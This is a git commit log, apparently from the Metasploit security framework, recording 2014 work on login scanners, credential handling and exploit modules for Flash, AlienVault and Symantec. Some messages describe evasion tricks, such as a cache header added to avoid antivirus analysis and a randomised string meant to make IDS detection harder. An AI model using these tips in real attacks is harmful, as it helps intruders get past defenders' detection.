James Lee 8be35b90f4 Add some more specs for AFP login scanner 2014-05-20 17:44:41 -05:00
jvazquez-r7 8a9c005f13 Add URL 2014-05-20 17:43:07 -05:00
James Lee d061d36229 Merge branch 'staging/electro-release' into feature/MSP-9646/afp-loginscanner 2014-05-20 17:25:42 -05:00
James Lee 21de14ac3d Initial stab at AFP login scanner 2014-05-20 17:08:12 -05:00
jvazquez-r7 727054df0b Land #3375, @bugch3ck's support for Safari 2014-05-20 16:38:55 -05:00
Meatballs aeaff16f88 More legible output 2014-05-20 22:27:24 +01:00
Meatballs 92669cd4d6 Use parser 2014-05-20 22:26:13 +01:00
Meatballs 0a2b79ccd1 Tidyup parser 2014-05-20 22:04:59 +01:00
Meatballs 09af023a71 Merge in parser 2014-05-20 21:56:35 +01:00
Meatballs 15313a9ab1 Dont try to read 0 structs 2014-05-20 21:55:04 +01:00
Meatballs fabaf52929 Tidyup of GPP
Add Security Bulletin Reference
ProgramData is symlink to AllUsers anyway
Use NetAPI
2014-05-20 21:53:53 +01:00
Samuel Huckins 62bae8e23b Merge pull request #21 from rapid7/feature/MSP-9687/winrm-loginscanner
Specs and functional steps passing. 

MSP-9687 #land
2014-05-20 11:32:37 -05:00
David Maloney ce69f742a4 add yarddocs to origin methods
added YARD docs to the creation methods for
Credential::Origins
2014-05-20 11:16:19 -05:00
Luke Imhoff 38fbbdc1b5 Print tm_call one caller per line
MSP-9653

The inspect format was difficult to read so convert to standard
backtrace format of one caller per line.
2014-05-20 10:59:29 -05:00
David Maloney 8a2f05b7d2 Merge branch 'staging/electro-release' into feature/MSP-9640/cred_creation 2014-05-20 10:28:33 -05:00
David Maloney 0b1d9d8cd0 Merge branch 'master' into staging/electro-release 2014-05-20 10:27:55 -05:00
David Maloney 9cdddb08d9 origin specs for realsies
final specs and fixes for the origin creation
methods
2014-05-20 10:19:03 -05:00
Samuel Huckins 8f950f39be Restoring ruby and gemset files 2014-05-20 10:17:00 -05:00
Samuel Huckins 021983089b Removing ruby-version and -gemset from gitignore
These should not have been removed.
2014-05-20 10:14:21 -05:00
Samuel Huckins 9e53b795c3 Merge branch 'upstream-master' into staging/electro-release 2014-05-20 10:12:53 -05:00
David Maloney b84aaaad19 specs and fixes for origin creation 2014-05-20 09:59:15 -05:00
Jonas Vestberg 7cabfacfa3 Test adobe_flash_pixel_bender_bof on Safari 5.1.7
Added browser-requirement for Safari after successful test using Safari 5.1.7 with Adobe Flash Player 13.0.0.182 running on Windows 7 SP1.
2014-05-20 01:43:19 +02:00
Meatballs 52b182d212 Add a small note to bypassuac_injection concerning EXE::Custom 2014-05-19 22:00:35 +01:00
Meatballs b84379ab3b Note about EXE::Custom 2014-05-19 22:00:09 +01:00
Meatballs eeae071468 Land #3363, Workstation Length Auth Bug 2014-05-19 21:46:57 +01:00
David Maloney ddfa4f1ee7 some origin creation specs
started getting working specs
for the origin creation methods. feel
into the weeds for a bit, but making progress at last.
2014-05-19 15:16:02 -05:00
HD Moore eda8a90cea Fix merge issues with os.js 2014-05-19 13:04:36 -05:00
Karmanovskii e26dee5e22 Update mybb_get_type_db.rb
19/05/2014
I deleted      -     #return Exploit::CheckCode::Unknown  # necessary ????
2014-05-19 21:32:30 +04:00
HD Moore ddc8a4f103 Merge branch 'master' of github.com:rapid7/metasploit-framework into feature/recog 2014-05-19 11:42:30 -05:00
HD Moore 81194684ae Require MDM >= 0.17.2 for Recog support 2014-05-19 11:41:44 -05:00
David Maloney 9efb97d465 origin creation method
added base behaviour for creating generic
credential origin objects from report
2014-05-19 10:00:19 -05:00
William Vu a30d6b1f2d Quick cleanup for sap_icm_urlscan 2014-05-19 09:21:26 -05:00
William Vu dc0e649a10 Clean up case statement 2014-05-19 09:21:07 -05:00
William Vu bc64e47698 Land #3370, cleanup for sap_icm_urlscan 2014-05-19 09:16:18 -05:00
William Vu 8235556cec Land #3372, release fixes 2014-05-19 09:10:38 -05:00
Tod Beardsley 0ef2e07012 Minor desc and status updates, cosmetic 2014-05-19 08:59:54 -05:00
Tod Beardsley 1ef16fb722 Land #3367, new wordlists from unhash
Thanks @tkisason!
2014-05-19 08:44:54 -05:00
Meatballs 6b1e4c3a9d Show loot and error code 2014-05-19 11:17:58 +01:00
Meatballs 848227e18a 401 should be a valid url 2014-05-19 10:59:38 +01:00
Meatballs 5d96f54410 Be verbose about 307 2014-05-19 10:52:06 +01:00
Meatballs 88b7dc3def re-add content length 2014-05-19 10:46:47 +01:00
Meatballs e59f104195 Use unless 2014-05-19 10:41:01 +01:00
sinn3r bf52c0b888 Land #3364 - Symantec Workspace Streaming Arbitrary File Upload 2014-05-19 00:25:33 -05:00
jvazquez-r7 2fb0dbb7f8 Delete debug print_status 2014-05-18 23:34:04 -05:00
jvazquez-r7 d35ba208ed Land #3369 @bugch3ck's support for plugin flash exploitation on adobe_flash_pixel_bender 2014-05-18 23:25:08 -05:00
jvazquez-r7 975cdcb537 Allow exploitation also on FF 2014-05-18 23:24:01 -05:00
Jonas Vestberg 033757812d Updates to adobe_flash_pixel_bender_bof:
1. Added embed-element to work with IE11 (and Firefox). Removed browser-requirements for ActiveX (clsid and method).
2. Added Cache-Control header on SWF-download to avoid AV-detection (no disk caching = no antivirus-analysis :).

Testing performed:
Successfully tested with Adobe Flash Player 13.0.0.182 with IE9, IE10 and IE11 running on Windows 7SP1. (Exploit will trigger on FF29, although sandboxed.)
2014-05-18 22:43:51 +02:00
Tonimir Kisasondi 9b29c572a7 Comments dont work with auth_brute.rb 2014-05-18 21:14:17 +02:00
Tonimir Kisasondi c9bb2d5165 Added headers to files 2014-05-18 20:55:50 +02:00
Tonimir Kisasondi 97b63d708c Corrected naming to be in line with msf convention 2014-05-18 18:18:23 +02:00
Tonimir Kisasondi 7d79f8a4c2 Removed wrongly named list. 2014-05-18 18:15:17 +02:00
Tonimir Kisasondi d7bf66973c Fixed userpass delimiters. 2014-05-18 18:13:03 +02:00
HD Moore 1d205081cb Merge Gemfile changes properly 2014-05-18 11:10:31 -05:00
HD Moore a8bf53479d Fix a merge error 2014-05-18 11:08:04 -05:00
HD Moore a844b5c30a Merge branch 'master' of github.com:hmoore-r7/metasploit-framework into feature/recog
Conflicts:
	Gemfile
	Gemfile.lock
	data/js/detect/os.js
	lib/msf/core/exploit/remote/browser_exploit_server.rb
2014-05-18 10:50:32 -05:00
Tonimir Kisasondi 6ec926b573 Added separate users/pass/userpass dictionaries 2014-05-18 10:18:07 +02:00
William Vu a97d9ed54f Land #3148, check_urlprefixes for sap_icm_urlscan 2014-05-17 16:10:52 -05:00
sappirate dd1a47f31f Modified sap_icm_urlscan to check for authentication of custom URLs
Fixed ruby coding style
2014-05-17 22:47:49 +02:00
Karmanovskii 06912ac2b6 Update mybb_get_type_db.rb
1.Changed "Rex::Proto::Http::Client" to "Msf::Exploit::Remote::HttpClient"
2.changed the name of the variable "_Version_server".
2014-05-17 16:30:29 +04:00
JoseMi 21cf0a162c Added module to crash capwap dissector in wireshark tool 2014-05-17 11:31:43 +01:00
JoseMi 74b491e715 Delete wireshark_capwap_dos module 2014-05-17 11:25:38 +01:00
Tonimir Kisasondi af82ae262c Added a large default password list for services. 2014-05-16 23:27:18 +02:00
James Lee d2ebab09aa Add timeout for SSL renegotiation after migrating
[SeeRM #8794]
2014-05-16 15:42:46 -05:00
Christian Mehlmauer 488c3e6b93 Land #3358, @jvazquez-r7 Advantech WebAccess 7.1 SQLI module 2014-05-16 21:26:41 +02:00
jvazquez-r7 2012d41b3d Add origin of the user, and mark web users 2014-05-16 13:51:42 -05:00
jvazquez-r7 4143474da9 Add support for web databases 2014-05-16 11:47:01 -05:00
Samuel Huckins d9687d87f9 Merge pull request #20 from rapid7/feature/MSP-9667/db2_login
Specs passing post update.

MSP-9667 #land
2014-05-16 11:29:31 -05:00
David Maloney ce761e5569 Merge branch 'staging/electro-release' into feature/MSP-9640/cred_creation 2014-05-16 11:25:37 -05:00
David Maloney b5807b990a Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework-private into staging/electro-release 2014-05-16 11:24:51 -05:00
David Maloney a4d85ad61b Merge branch 'master' into staging/electro-release 2014-05-16 11:24:18 -05:00
David Maloney 02a9d7f15d minor cleanup
minor style changes found in code review
2014-05-16 11:20:04 -05:00
jvazquez-r7 883d2f14b5 delete debug print_status 2014-05-16 11:13:03 -05:00
jvazquez-r7 ea38a2c6e5 Handle ISO-8859-1 special chars 2014-05-16 11:11:58 -05:00
Tod Beardsley 10e4204829 Land #3365, SNMP info leak vulns 2014-05-16 09:05:42 -05:00
jvazquez-r7 c9465a8922 Rescue when the recovered info is in a format we can't understand 2014-05-16 08:57:59 -05:00
Tod Beardsley 3c1363b990 Add new SNMP enumeration modules 2014-05-16 08:32:46 -05:00
jvazquez-r7 7ec85c9d3a Delete blank lines 2014-05-16 01:03:04 -05:00
jvazquez-r7 9091ce443a Add suport to decode passwords 2014-05-16 00:59:27 -05:00
James Lee 9582d82fba Merge remote-tracking branch 'private/staging/electro-release' into feature/MSP-9687/winrm-loginscanner 2014-05-15 13:59:48 -05:00
James Lee efd0db9c39 Merge branch 'upstream-master' into HEAD 2014-05-15 13:53:16 -05:00
jvazquez-r7 1b68abe955 Add module for ZDI-14-127 2014-05-15 13:41:52 -05:00
James Lee 472f029576 Fix random bug when workstation_name is < 6 chars
When the local workstation name is less than 6 characters, remote
authentication against a Windows 2008r2 WinRM service always fails. This
doesn't seem to affect authentication against IIS's negotiate
implementation.
2014-05-15 13:27:37 -05:00
nstarke 048aebbdf2 Search Result Uniqueness
SeeRM #8754

Cast the results of the query to an array and perform the uniq
function passing a block which provides uniqueness based
on the return value, which in this instance is ‘fullname’
This was done because the uniq function in AREL cannot take
a specific field for uniqueness, and the sophistication of the query
make grouping nearly impossible.  Initial testing showed negligible
speed difference to the user.
2014-05-15 17:52:11 +00:00
nstarke b85403ab8f Revert "POST module duplicate search results"
This reverts commit 0bca3a2d54.
2014-05-15 16:05:47 +00:00
James Lee 8a9abb90c0 Add specs for connection error conditions 2014-05-15 10:06:17 -05:00
AnwarMohamed 96e99a61e4 Merge remote-tracking branch 'upstream/master' 2014-05-15 02:22:18 +02:00
Lance Sanchez e9b3f10ba7 Drying up some of the status codes
MSP-9678
2014-05-14 17:02:26 -05:00
William Vu 773fd7a9cb Fix up whitespace 2014-05-14 15:31:40 -05:00
William Vu 340956f294 Add a newline after DISCLOSURE_DATE_FORMAT 2014-05-14 15:28:07 -05:00
William Vu f9982752f3 Land #3362, ax rank for aux/dos mods 2014-05-14 15:20:07 -05:00
James Lee 59050d9bf1 Add specs for WinRM, improve those for HTTP 2014-05-14 15:13:29 -05:00
Tod Beardsley dc57e31be1 Aux modules don't respect Rank anyway 2014-05-14 15:03:10 -05:00
James Lee 99f8fbbc9c Add WinRM login scanner
* Genericizes HTTP a bit to make these kinds of HTTP-based scanners
  simpler and easier
* Adds support for default ports to HTTP. This should probably be
  rafactored up into Base
* Removes spec that complains about port being unset (which now fails
  because defaults ensure it's always set)
2014-05-14 14:35:49 -05:00
Christian Mehlmauer dc7a8d32d8 Land #3324, msfconsole search timestamp fixes 2014-05-14 21:30:02 +02:00
Luke Imhoff 82d32e39cc Merge branch 'feature/MSP-9686/vnc_login' into staging/electro-release
MSP-9686
2014-05-14 13:24:13 -05:00
Luke Imhoff a32152ecaa Merge branch 'staging/electro-release' into feature/MSP-9686/vnc_login
MSP-9686
2014-05-14 13:22:41 -05:00
David Maloney 9471e597b6 Merge branch 'staging/electro-release' into feature/MSP-9640/cred_creation
Conflicts:
	Gemfile.lock
2014-05-14 13:03:48 -05:00
David Maloney fb671c72a7 Merge branch 'master' into staging/electro-release 2014-05-14 13:00:37 -05:00
dmaloney-r7 acaf713229 Merge pull request #17 from rapid7/feature/MSP-9606/metasploit-credential
Run migrations from Metasploit::Credential and initialize its concerns which patch Mdm
2014-05-14 11:15:07 -05:00
nstarke bb6201d66d Fixing nil bug and making format constant
The date format has been moved into a constant variable.
Certain modules do not have a disclosure_date.  For example,
‘checkvm’.  This necessitated checking disclosure_date for nil
before attempting a format conversion.  Also, there was an additional
location in core.rb that needed the formatting / nil check added.  Specs
were also updated appropriately.
2014-05-14 15:51:42 +00:00
James Lee 08a7acef3f Make sure fail case is correct
`rand(1000)` would return 0 one in a thousand times, causing this test to
randomly fail at that interval
2014-05-14 10:22:47 -05:00
Lance Sanchez 6a029bee02 Merge branch 'staging/electro-release' into feature/MSP-9678/pop3-login-scanner 2014-05-14 10:13:46 -05:00
David Maloney f34090946e derp 2014-05-14 10:10:57 -05:00
Lance Sanchez 06796fb27c returning the result class
MSP-9678
2014-05-14 10:09:52 -05:00
David Maloney 2faa015bf3 some minor cleanup
minor edits requested by kronicdeth during
code review
2014-05-14 10:09:26 -05:00
James Lee 8a9027b21d Add better #inspect for Credential and Result 2014-05-14 10:04:40 -05:00
Lance Sanchez 3c0625e393 hacking on the pop3 login scanner
MSP-9678
2014-05-14 09:44:23 -05:00
jvazquez-r7 5b3bb8fb3b Fix @FireFart's review 2014-05-14 09:00:52 -05:00
Karmanovskii cbb84e854c Update mybb_get_type_db.rb
14.05.2014
Eliminated notes jvazquez-r7
2014-05-14 14:56:40 +04:00
William Vu 9fbda3eae0 Land #3183, tab completion improvements 2014-05-14 02:20:12 -05:00
William Vu fdbfaacdf6 Land #3313, progress feedback for PASS_FILE
[FixRM #8704]
2014-05-14 02:03:39 -05:00
William Vu 1ada4831e0 Land #3293, module deprecation constants 2014-05-14 01:37:29 -05:00
William Vu de49241195 Land #3185, regex option validation 2014-05-14 01:27:18 -05:00
William Vu 750b6fc218 Land #3348, some Ruby warning fixes 2014-05-14 01:25:10 -05:00
William Vu c421b8e512 Change if not to unless 2014-05-14 01:24:29 -05:00
William Vu dfab26ea36 Land #3359, more Set-Cookie fixes 2014-05-14 01:22:09 -05:00
Christian Mehlmauer df4b832019 Resolved some more Set-Cookie warnings 2014-05-13 22:56:12 +02:00
David Maloney 72b3c4da35 working DB2 loginscanner
w00t
2014-05-13 14:41:15 -05:00
Samuel Huckins 162038bde4 Merge pull request #19 from rapid7/feature/login_scanner/smb
Specs all passing, functional steps working.
2014-05-13 14:37:13 -05:00
jvazquez-r7 a7075c7e08 Add module for ZDI-14-077 2014-05-13 14:17:59 -05:00
James Lee 2a13010bfb Fix faulty spec 2014-05-13 14:15:00 -05:00
David Maloney f5751d6a85 first pass at attempt_login for DB2
first pass through at the attempt_login method
for the DB2 LoginScanner. still adding specs
and possibly refactoring
2014-05-13 14:10:30 -05:00
James Lee 2d7e90d5df Remove vestigal require 2014-05-13 13:39:40 -05:00
David Maloney 5dcf3efd1a skeleton for DB2 loginscanner
add basic  skeleton and specs for the DB2
LoginScanner class.
2014-05-13 13:16:56 -05:00
Luke Imhoff 91cc9dc2d6 Add missing Msf::DBManager#drivers initialization
MSP-9606
2014-05-13 13:01:59 -05:00
joev 827feaed9f Land #3320, @m-1-k-3's mips exec payload fixes to allow encoding. 2014-05-13 12:38:23 -05:00
Luke Imhoff 3448b601ee Remove old, unused cucumber features
MSP-9606
2014-05-13 09:26:16 -05:00
Luke Imhoff 14cf51db91 Remove unused DatabaseCleaner
MSP-9606

DatabaseCleaner is no longer used in the specs since the use of railties
allowed the use of transactional fixtures.
2014-05-13 09:13:47 -05:00
agix 1a3b319262 rebase to use the mixin psexec 2014-05-13 16:04:40 +02:00
agix d3f2414d09 Fix merging typo 2014-05-13 16:04:40 +02:00
agix 87be2e674a Rebase on https://github.com/rapid7/metasploit-framework/pull/2831 and adapt to the new mixin 2014-05-13 16:04:40 +02:00
Florian Gaultier 808f87d213 SERVICE_DESCRIPTION doesn't concern this PR 2014-05-13 16:04:39 +02:00
Florian Gaultier bb4e9e2d4d correct error in block service_change_description 2014-05-13 16:04:39 +02:00
Florian Gaultier 6332957bd2 Try to add SERVICE_DESCRIPTION options to psexec, but it doesn't seem to work... 2014-05-13 16:04:39 +02:00
Florian Gaultier bdbb70ab71 up block_service_stopped.asm 2014-05-13 16:04:39 +02:00
Florian Gaultier 94f97ab963 Prevent import table overwritting by shifting entry point 2014-05-13 16:04:39 +02:00
Florian Gaultier e269c1e4f1 Improve service_block with service_stopped block to cleanly terminate service 2014-05-13 16:04:38 +02:00
Florian Gaultier c43e3cf581 Improve block_create_remote_process to point on shellcode everytime 2014-05-13 16:04:38 +02:00
Florian Gaultier 25d48b7300 Add create_remote_process block, now used in exe_service generation 2014-05-13 16:04:38 +02:00
Florian Gaultier 0bdf7904ff Change author of single_service_stuff.asm 2014-05-13 16:04:38 +02:00
Florian Gaultier 5ecebc3427 Add options SERVICE_NAME and SERVICE_DISPLAYNAME to psexec and correct service payload generation 2014-05-13 16:04:37 +02:00
Florian Gaultier 0b462ceea6 refactor to_winpe_only code to be used by to_win32pe_service 2014-05-13 16:04:37 +02:00
Florian Gaultier 914d15c285 fix typo 2014-05-13 16:04:37 +02:00
Florian Gaultier ca7a2c7a36 Add string_to_pushes to use non fixed size service_name 2014-05-13 16:04:37 +02:00
Florian Gaultier b3fd21b98d Change to try to follow ruby guidelines 2014-05-13 16:04:37 +02:00
Florian Gaultier 72a3e49fbb fix typo 2014-05-13 16:04:36 +02:00
Florian Gaultier 513f3de0f8 new service exe creation refreshed 2014-05-13 16:04:36 +02:00
William Vu 6b154b3f15 Land #3354, a handful of Set-Cookie fixes 2014-05-12 15:59:55 -05:00
Luke Imhoff b1598e83c3 Re-enable bundle install --without db support
MSP-9606

Catch LoadError in config/application.rb when trying to require
'active_record/railtie` so that end-users can run without any of the
database gems installed.  NOTE: you can't run in the development or
test environment without the database because factory_girl needs
ActiveRecord.
2014-05-12 15:39:34 -05:00
Luke Imhoff cea7b6cd77 Revert to production as default environment
MSP-9606

When switching to Rails.env to integrate better with railties for
Rails::Engines, I forgot that rails would default to development instead
of production.
2014-05-12 15:37:59 -05:00
Luke Imhoff 3370465d84 Use railties to load Metasploit::Credential correctly
MSP-9606

In order to support Metasploit::Credential correctly,
metasploit-framework needs to support Metasploit::Concern, which does
all its magic using a Rails::Engine initializer, so the easiest path is
to make metasploit-framework be able to use Rails::Engines.  To make
Rails::Engine use Rails::Engine, make a dummy Rails::Application
subclass so that all the initializers will be run when anything requires
msfenv.
2014-05-12 15:03:51 -05:00
Christian Mehlmauer 3f3283ba06 Resolved some msftidy warnings (Set-Cookie) 2014-05-12 21:23:30 +02:00
William Vu fb8fb11ab2 Land #3353, this time for real 2014-05-12 13:29:28 -05:00
Christian Mehlmauer 2b5105b70a Land #3353, @jjarmoc's Rex::Text::uri_encode improvements 2014-05-12 20:16:58 +02:00
Jeff Jarmoc 2849a1bc0c Update comment again 2014-05-12 13:10:20 -05:00
Jeff Jarmoc a3cc499a17 Update comment w/ all modes 2014-05-12 13:02:54 -05:00
Jeff Jarmoc d82bc11b7d Add 'u-noslashes' and re-order cases for consistency. 2014-05-12 13:01:05 -05:00
Jeff Jarmoc 638ae477d9 Fix up spec. Rex::Proto::Http::ClientRequest handles & and = outside of Rex::Text::uri_encode, so mode doesn't affect them.
Fix erroneous typo char.
2014-05-12 12:10:30 -05:00
Jeff Jarmoc cba39a9a04 Adds spec for 'hex-all' mode 2014-05-12 12:01:06 -05:00
David Maloney 57864cc6c9 Merge branch 'master' into staging/electro_release 2014-05-12 11:38:14 -05:00
David Maloney 7f98d1630e specs for VNC Loginscanner
cover remaining behaviour for the
VNC LoginScanner class.
2014-05-12 11:29:27 -05:00
Jeff Jarmoc 5f523e8a04 Rex::Text::uri_encode - make 'hex-all' really mean all.
'hex-all' encoding was previously ignoring slashes.
This pull adds 'hex-noslashes' mode which carries forward the previous functionality, and replaces all existing references to 'hex-all' with 'hex-noslashes'  It then adds a replacement 'hex-all' mode, which really encodes *ALL* characters.
2014-05-12 11:26:27 -05:00
David Maloney f84d763382 refactoring conditional logic
the class works but the conditional logic needs
refactoring to be smoothed out more.
2014-05-12 11:10:36 -05:00
James Lee fe3acf08f5 Handle exceptions without error_code
Also sets smb_direct in attempt_login, which makes this work correctly
when port wasn't set in the constructor.
2014-05-12 10:31:11 -05:00
Luke Imhoff c70ef2afbd Make fastlib compatible with Pathnames
MSP-9606
2014-05-12 10:16:39 -05:00
Luke Imhoff f83e8a4a4f Add missing requires
MSP-9606

require 'msf/base/config' when required directly was not working.
2014-05-12 10:16:10 -05:00
jvennix-r7 f6f9bb8edc Merge pull request #11 from timwr/android-bins
better string replacement
2014-05-12 00:46:06 -05:00
jvazquez-r7 b5ba261ffe Land #3347, @FireFart's change to allow configurable landing dir on struts_code_exec_parameters 2014-05-11 18:43:41 -05:00
William Vu bdea3cb454 Land #3350, author fix for wlan_geolocate 2014-05-11 16:18:46 -05:00
Tom Sellers 2b8dd9139c Fix cosmetic issue
Fix cosmetic issue /w email address when it is output via 'info' or the Rapid7 module page.
2014-05-11 16:14:51 -05:00
Chris Hebert 681e4194ea Update alienvault_newpolicyform_sqli.rb
and the new variable as well.
2014-05-10 20:19:40 -04:00
Chris Hebert 3ae3c478bd Update alienvault_newpolicyform_sqli.rb
enhanced as requested by Christian Mehlmauer 
changed xnDa to a random string to make IDS harder to detect.
2014-05-10 20:17:30 -04:00
Chris Hebert 1affbfbe9d Update alienvault_newpolicyform_sqli.rb
fixed reinitialize i=0, full = '' and filename .....
 spotted by Spencer McIntyre - thanks.
2014-05-10 18:49:41 -04:00
Chris Hebert 8e79663001 Update alienvault_newpolicyform_sqli.rb
Added vendor advisory
2014-05-10 18:31:12 -04:00
Chris Hebert ec1df58bf7 Update alienvault_newpolicyform_sqli.rb
Changed reference --  OSVDB # 106815
(waiting for EDB - no response yet)
2014-05-10 18:14:09 -04:00
Christian Mehlmauer 557cd56d92 fixed some ruby warnings 2014-05-10 23:31:02 +02:00
Chris Hebert 473efe1040 Update alienvault_newpolicyform_sqli.rb 2014-05-10 17:28:50 -04:00
Tim Wright a60558061c re-enable x86 stager 2014-05-10 19:58:19 +01:00
Tim Wright ae0691c586 make string replacement more robust 2014-05-10 17:00:25 +01:00
James Lee 3831042dca Add specs, validations for LoginScanner::SMB 2014-05-09 18:58:49 -05:00
William Vu 184ec08160 Fix EOL space warnings from msftidy 2014-05-09 18:36:15 -05:00
William Vu 92a9519fd9 Remove EOL spaces 2014-05-09 18:34:12 -05:00
James Lee ee6a9f99b3 Add require for active_model
Having proper requires allows loading scanners in IRB without msfconsole
2014-05-09 18:16:19 -05:00
Joshua Smith c5d1ad6a02 lands 3346, fix msf > prompt issues 2014-05-09 17:43:32 -05:00
Christian Mehlmauer dee6b53175 fix java payload struts module 2014-05-10 00:19:40 +02:00
William Vu 453851277f Fix missing space in prompt for back and grep 2014-05-09 17:08:45 -05:00
Joshua Smith d69fbf0d66 adds TARGET to 'to_neuter' list 2014-05-09 15:57:36 -05:00
William Vu 4b47a9a297 Land #3339, banner updates for Pro free trial 2014-05-09 15:25:09 -05:00
jvazquez-r7 6f837715f9 Land #3343, @FireFart's new uri encoding for struts_code_exec_parameters 2014-05-09 14:37:58 -05:00
jvazquez-r7 38f3a19673 Try to beautify description 2014-05-09 14:35:06 -05:00
Christian Mehlmauer 43a85fc645 additional GET parameters 2014-05-09 21:21:04 +02:00
Christian Mehlmauer ad83921a85 additional GET parameters 2014-05-09 21:15:28 +02:00
mvdevnull 117e0b839b Add module - alienvault_newpolicyform_sqli 2014-05-09 15:10:58 -04:00
Luke Imhoff cadc2dd81f Order Gemfile
MSP-9606
2014-05-09 13:47:00 -05:00
David Maloney 4e76330643 Add skeleton for VNC lgoinscanner
Add skeleton and specs for the VNC Loginscanner

MSP-9686
2014-05-09 11:55:15 -05:00
David Maloney 8b937b7c35 Merge branch 'master' into staging/electro_release 2014-05-09 11:46:08 -05:00
Tod Beardsley dba2473d10 Land #3344, Yokogawa module, http://r-7.co/1noJXtc 2014-05-09 10:46:19 -05:00
jvazquez-r7 f56ea01988 Add module 2014-05-09 10:27:41 -05:00
nstarke a71be33091 Adjusting status message to be based on time
Previously the status message timing was determined by the number of
pairs left to process.  I have adjusted the code to rely on Time.now
in order to consistently print a message out every 60 seconds.
2014-05-09 14:39:34 +00:00
Christian Mehlmauer 53fde675e7 randomize meh parameter 2014-05-09 10:38:19 +02:00
sinn3r c9e356116f Land #3340 - Adobe Flash Player Shader Buffer Overflow 2014-05-08 20:55:38 -05:00
jvazquez-r7 58c46cc73d Add compilation instructions for the AS 2014-05-08 16:48:42 -05:00
Christian Mehlmauer a3fff5401f more code cleanup 2014-05-08 23:05:41 +02:00
Joshua Smith be06007f34 cleans up comments, line lengths, dup/clone 2014-05-08 16:04:18 -05:00
Christian Mehlmauer e7b7af2f75 fixed apache struts module 2014-05-08 22:15:52 +02:00
David Maloney b3a1840991 add metasploit-credential
added metaploit-credential to the Gemfile
2014-05-08 15:13:01 -05:00
Trevor Rosen c77412d373 Merge pull request #13 from rapid7/feature/login_scanner/mysql
Add LoginScanner for MySQL

MSP-9676 #land
2014-05-08 15:05:24 -05:00
Tod Beardsley 718de77ec6 Land #3341, db_import help update, more formats 2014-05-08 14:40:25 -05:00
Trevor Rosen 894ecaafb4 Merge pull request #12 from rapid7/feature/login_scanner/pg
Add Postgres LoginScanner class

MSP-9679 #land
2014-05-08 14:38:56 -05:00
Lutz Wolf 66252ba9e5 support negation in portspec 2014-05-08 21:35:35 +02:00
David Maloney cace6581ce Merge branch 'master' into staging/electro_release 2014-05-08 14:34:19 -05:00
David Maloney 42de1ab1f1 whitespace removal 2014-05-08 14:18:06 -05:00
David Maloney d16a4a4c1d add sane defaults to MySQl
MySQL LoginScanner now with sane defaults
for TCP evasion stuff
2014-05-08 13:57:58 -05:00
David Maloney cfb13ed1bd Merge branch 'staging/electro_release' into feature/login_scanner/mysql 2014-05-08 13:55:09 -05:00
Trevor Rosen d0d9100802 Merge pull request #11 from rapid7/feature/login_scanner/mssql
Add the MSSQL LoginScanner class

MSP-9679 #land
2014-05-08 13:52:09 -05:00
James Lee 2d2b5ea9e4 Merge remote-tracking branch 'private/feature/login_scanner/mssql' into feature/login_scanner/smb 2014-05-08 13:45:06 -05:00
David Maloney a9df810072 Merge branch 'feature/login_scanner/mssql' of github.com:rapid7/metasploit-framework-private into feature/login_scanner/mssql 2014-05-08 13:44:52 -05:00
David Maloney e0c6e90ae8 trivial cleanup work
whitespace and alignment stuff
2014-05-08 13:42:52 -05:00
James Lee 13fe8c0869 Default Credential#paired to true 2014-05-08 13:34:31 -05:00
Trevor Rosen cf58f214a9 New-style RVM stuff now in .gitignore 2014-05-08 13:26:08 -05:00
David Maloney 20edabb0f5 mySQL Loginscanner with specs to match
This season's colours for Loginscanner is MySQL
with Unit Test Coverage applied to match.
2014-05-08 13:16:12 -05:00
jvazquez-r7 8c55858eae Land #3309, @arnaudsoullie's changes for modblusclient 2014-05-08 10:45:19 -05:00
jvazquez-r7 25f13eac37 Clean a little response parsing 2014-05-08 10:44:53 -05:00
William Vu ee303aa34e Add missing formats in lib/msf/core/db.rb comment
Found outside big if block. Ugh.
2014-05-08 10:27:38 -05:00
Tod Beardsley 281b000805 Typo fix for #3339 2014-05-08 10:18:19 -05:00
William Vu 102eb85277 Update CommandDispatcher::Db spec 2014-05-08 03:05:49 -05:00
William Vu b50b3820a0 Update core/db.rb comments 'n' stuff 2014-05-08 02:53:02 -05:00
William Vu 7da6a2c84c Update db_import help with authoritative formats
Taken from import_filetype_detect in lib/msf/core/db.rb.

[SeeRM #8799]
2014-05-08 02:30:29 -05:00
David Maloney b72f0f8ffc try to fix bad push/revert mess 2014-05-07 18:43:37 -05:00
David Maloney 9919d54116 Revert "final touches and specs"
This reverts commit e025fa1791.
2014-05-07 18:34:34 -05:00
David Maloney e025fa1791 final touches and specs
add finishing touches to postgres
Loginscanner and add specs to cover
the behaviour
2014-05-07 18:32:36 -05:00
jvazquez-r7 6b41a4e2d9 Test Flash 13.0.0.182 2014-05-07 17:39:22 -05:00
jvazquez-r7 5fd732d24a Add module for CVE-2014-0515 2014-05-07 17:13:16 -05:00
James Lee 338ed7bd18 First attempt at smb login scanner 2014-05-07 16:38:56 -05:00
Tod Beardsley eecd05ec74 Fix banner language, padding. 2014-05-07 16:12:15 -05:00
David Maloney acbff23c32 final wrap-up specs
successkid.jpg
2014-05-07 16:07:18 -05:00
Tod Beardsley c50c929412 Treat apt and binary installs the same for banners 2014-05-07 15:59:50 -05:00
David Maloney 7a476dc21a fully operational lgoinscanner
Now you will witness the power of this fully operational
LoginScanner. fire at will, Commander!
2014-05-07 15:57:06 -05:00
David Maloney ec974535ac create base object for mssql scanner
created skeleton for MSSQL Loginscanner
included concerns.

also added an NTLM concern and shared example group
2014-05-07 14:43:15 -05:00
David Maloney 234e129523 add NTLM concern for loginscanners
add a new concern for LoginScanners
that provides the basic accessors and validations
for anything requiring NTLM
2014-05-07 14:28:10 -05:00
David Maloney e6b15541ff replace datastore calls
replace datastore calls with stub
methods that will be implmeneted by the loginscanner
2014-05-07 11:41:49 -05:00
Joshua Smith dfd9522e0d Merge from remote (pr merged via github) 2014-05-07 11:31:03 -05:00
Joshua Smith 6c29bae86d uses exploit_type vs category, thx egypt 2014-05-07 11:29:36 -05:00
Tod Beardsley ab56583ce0 Remove dead oldwarn code, fix shortlink 2014-05-07 09:49:41 -05:00
Tod Beardsley 7ed943cead Add new rotating banners for apt installs 2014-05-07 09:39:39 -05:00
Tod Beardsley a55e2bcf19 Rework banner trailers in sprintf padding 2014-05-07 09:38:59 -05:00
Josh d12412d5ab Merge pull request #11 from linuxchuck/patch-1
updates scriptable.rb for explicit target opt and neuters LPORT
2014-05-06 15:40:17 -05:00
linuxchuck 7249191711 New updates to scriptable.rb for payload/target
Additional w00t for your pwning pleasure.
2014-05-06 15:33:51 -05:00
